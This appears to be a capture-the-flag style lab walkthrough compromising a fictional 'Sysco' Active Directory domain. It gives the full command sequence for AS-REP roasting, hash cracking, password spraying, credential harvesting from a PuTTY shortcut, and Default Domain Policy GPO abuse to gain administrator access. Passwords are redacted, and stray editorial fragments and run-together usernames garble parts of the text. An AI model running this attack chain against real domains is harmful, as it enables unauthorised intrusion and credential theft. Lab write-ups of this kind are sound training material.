Sysco is a Managed Service Provider that has tasked us with performing an external penetration test on their Active Directory domain. The objective is to obtain an initial foothold, move laterally, and escalate privileges while evading Antivirus detection to achieve Domain Administrator privileges.
I started with a comprehensive port scan to identify all open services:
$ nmap -p- -T4 -sC -sV -Pn 10.0.30.129 -oN nmap_scan
-oN flag saves output in normal format (human-readable). The original used -o which is not a valid nmap flag.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Index - Sysco MSP
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
9389/tcp open mc-nmf .NET Message Framing
Key findings from the scan:
DC01.SYSCO.LOCAL)Browsing to http://sysco.local/#team, I found a team page with employee names:

I extracted the following names:
Greg Shields
Sarah Johnson
Jack Dowland
Lainey Moore
Running directory enumeration with feroxbuster:
$ feroxbuster -u http://sysco.local/ -w /usr/share/wordlists/dirb/big.txt
This revealed a Roundcube webmail service:

Using the employee names, I generated potential username formats with username-anarchy:
$ ./username-anarchy --input-file names.txt --select-format first,flast,first.last,firstl > users.list
first.last or flast), so generating multiple formats increases the chance of finding valid accounts.
Then I validated which usernames exist in the domain using Kerbrute:
$ kerbrute userenum -d SYSCO.LOCAL users.list --dc DC01.SYSCO.LOCAL

Valid usernames discovered:
greg.shieldslainey.moorejack.dowlandI attempted AS-REP Roasting against the valid users:
$ nxc ldap 10.0.30.129 -u valid_users.txt -p '' --asreproast asreproasting_hash
LDAP 10.0.30.129 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SYSCO.LOCAL)
LDAP 10.0.30.129 389 DC01 [email protected]:d64e9c59...
User jack.dowland has pre-authentication disabled. I cracked the hash using hashcat:
$ hashcat -m 18200 asreproasting_hash /usr/share/wordlists/rockyou.txt
[email protected]:...:[REDACTED]
I verified the credentials work:

I collected Active Directory data for analysis:
$ bloodhound-python -u jack.dowland -p '[REDACTED]' -d SYSCO.LOCAL -ns 10.0.30.129 -c all

BloodHound did not reveal any direct privilege escalation paths for jack.dowland, and the user had no access to interesting file shares.
Since Jack is an employee, I tested his credentials against the Roundcube webmail and successfully logged in:

In his mailbox, I found an email sent to lainey.moore with a Cisco router configuration file attached:

The configuration file contained an enable secret:
enable secret 5 $1$mERr$isugnYiHsjHT.i.tc2GDY.

secret 5 indicates the password is hashed using MD5-crypt. This is more secure than type 7 (which is reversible), but still crackable with sufficient computing power. Type 5 hashes begin with $1$.
I cracked this hash with hashcat using mode 500 (MD5-crypt):
$ hashcat -m 500 router_md5_hash /usr/share/wordlists/rockyou.txt
$ hashcat -m 500 router_md5_hash --show
$1$mERr$isugnYiHsjHT.i.tc2GDY.:[REDACTED]
With a new potential password, I sprayed it against domain users and got a hit on lainey.moore:
$ nxc smb 10.0.30.129 -u valid_users.txt -p '[REDACTED]'

BloodHound showed that lainey.moore is a member of both Remote Desktop Users and Remote Management Users:

I connected via RDP:
$ xfreerdp /v:10.0.30.129 /u:lainey.moore /p:'[REDACTED]'
xfreerdp3, but the standard command is xfreerdp. Also, passwords with special characters should be quoted.
On the desktop, I found a PuTTY shortcut with embedded credentials:

The shortcut revealed:
C:\Users\lainey.moore\Documents\putty.exe -ssh [email protected] -pw [REDACTED]
I sprayed this password and discovered it works for greg.shields:
$ nxc smb 10.0.30.129 -u valid_users.txt -p '[REDACTED]'

BloodHound revealed that greg.shields has dangerous privileges over the Default Domain Policy GPO:

I used pyGPOAbuse to create a scheduled task that adds greg.shields to the local Administrators group:
$ python3 pygpoabuse.py 'SYSCO.LOCAL/greg.shields:[REDACTED]' \
-gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" \
-command 'net localgroup Administrators greg.shields /add'
[+] ScheduledTask TASK_48cc8916 created!
After waiting for Group Policy to refresh (or forcing it with gpupdate /force), I connected with evil-winrm and confirmed Administrator access:
$ evil-winrm -i 10.0.30.129 -u greg.shields -p '[REDACTED]'

Web Enumeration (Team Page)
|
v
Username Enumeration (Kerbrute)
|
v
AS-REP Roasting --> jack.dowland
|
v
Credential Reuse --> Roundcube Webmail
|
v
Cisco Config File --> MD5 Hash Crack
|
v
Password Spraying --> lainey.moore
|
v
RDP Access --> PuTTY Shortcut Credentials
|
v
Password Spraying --> greg.shields
|
v
GPO Abuse --> Domain Administrator
jack.dowlandlainey.mooregreg.shieldsWalkthrough by Zerotrace | HackSmarter Labs